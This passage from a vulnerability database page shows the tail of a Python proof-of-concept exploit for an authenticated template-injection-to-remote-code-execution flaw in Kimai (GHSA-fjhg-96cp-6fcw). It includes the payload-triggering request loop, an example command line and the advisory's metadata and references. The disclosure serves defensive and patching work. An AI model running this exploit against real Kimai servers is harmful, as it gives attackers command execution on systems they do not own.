get_csrf(f\"/invoice/?searchTerm=\u0026daterange=\u0026exported=1\u0026invoiceDate=1%2F1%2F1980\u0026performSearch=performSearch\u0026_token={csrf}\u0026template={temp_id}\", session)\n        for template_id in template_ids:\n            rendererURL = f\"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=\u0026daterange=\u0026exported=1\u0026template={temp_id}\u0026invoiceDate=\u0026_token={csrf}\u0026customers[]={customer_id}\"\n            # trigger the payload by visiting the renderer URL \n            rce = session.get(rendererURL)\n            \n            if \"PDF-1.4\" in rce.text:\n                print(rendererURL)\n                print(\"[+] successfully executed payload\")\n                # save the pdf locally since rendered URL will expire as soon as we end the session\n                pdf = f\"{generate()}.pdf\"\n                with open(pdf,\u0027wb\u0027) as pdfFile:\n                    pdfFile.write(rce.content)\n                    pdfFile.flush()\n                    pdfFile.close()\n                    print(f\"[+] Saved results with name: {pdf}\")\n                exit(1)\n\nprint(\"[-] Failed to execute payload, try to trigger manually..\")\n```\n\nwhich can be executed as such:\n```bash\n$ python3 spl0it.py http://localhost:8001/en admin password \"ls -la\"\n```\n\nthis will download the rendered file which will contain the results of the RCE:\n\n![kimaiRCE](https://user-images.githubusercontent.com/32583633/271780813-dd62020e-8ac8-4902-bc70-5503a9362e40.png)\n\n\n# Impact\n\nRemote Code Execution",
  "id": "GHSA-fjhg-96cp-6fcw",
  "modified": "2023-10-30T15:40:04Z",
  "published": "2023-10-30T15:40:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-fjhg-96cp-6fcw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/commit/38e37f1c2e91e1acb221ec5c13f11b735bd50ae4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…